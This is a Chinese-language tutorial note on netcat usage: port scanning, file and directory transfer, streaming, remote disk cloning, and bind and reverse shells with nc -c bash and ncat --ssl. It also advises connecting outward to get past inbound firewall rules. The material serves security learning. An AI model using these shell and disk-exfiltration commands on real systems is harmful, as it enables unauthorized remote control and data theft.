01基本工具-NETCAT
查看nc的参数
- nc -h
nc常用参数
- nc -vn
- v显示详细联系的输出内容
- n不会进行DNS解析
使用nc对163进行访问
- 1.先将域名解析为ip地址
- ping pop3.163.com
- 得到ip:123.126.97.79
- 2.使用nc对163服务器进行访问
- nc -vn 123.126.97.79 110 POP3的端口为110
- 得到结果:+OK Welcome to coremail Mail Pop3 Server (163coms[10774b260cc7a37d26d71b52404dcf5cs])
nc对http服务器进行链接80端口
NC传输文本信息
- nc -lp 4444
- 监听4444端口
- nc -nv xx.xx.xx.xx 4444
- 链接另一台电脑的4444端口
远程电子取证
NC——传输文件/目录
- 传输文件
- A(接收端):nc -lp 333 > 1.mp4
- B(发送端):nc -cv 1.1.1.1 333 < 1.mp4 -q 1
- A:nc -q 1 -lp 333 < 1.mp4
- B: nc -nv 1.1.1.1 333 > 1.mp4
- 传递目录
- A:tar cvf - music/ | nc -lp 333 -q 1
- B:nc -cv 1.1.1.1 333 | tar xvf -
- 传递加密文件
- nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4 接收端
- mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
NC——流媒体服务
- A:cat 1.mp4 | nc -lp 333
- B:nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
NC——端口扫描
- nc -nvz 1.1.1.1 1-65535 扫描TCP端口
- nc -nvzu 1.1.1.1 1-1024 扫描UDP端口
NC——远程克隆硬盘
- 远程电子取证, 可以将目标服务器硬盘远程复制,或者内存
- nc -lp 333 | dd of=/dev/sdb
- dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
NC——远程控制
- 正向
- A(服务端监听) :nc -lp 333 -c bash
- B(客户端连接):nc -nv xx.xx.xx.xx 333
- 反向
- A(服务端监听):nc -lp 333
- B(客户端把自己的bash传给服务端):nc -nv xx.xx.xx.xx 333 -c bash
如果是Windows系统,要把bash改为cmd
注意点
-
一般情况,防火墙会控制流入的流量,而流出的流量控制的情况比较少,所以可以在服务器上启动nc,来连接外部的nc端口
-
nc本身不带加密功能,很不安全,可以使用ncat工具加密管道
-
ncat在nmap工具包中,kali linux安装了nmap,但是找不到该命令,所以输入安装命令
apt-get install ncat
-
安装成功后,使用方法
- A:ncat -c bash --allow xx.xx.xx.xx -nvl 333 --ssl
- B:ncat -nv xxx.xxx.xxx.xxx 333 --ssl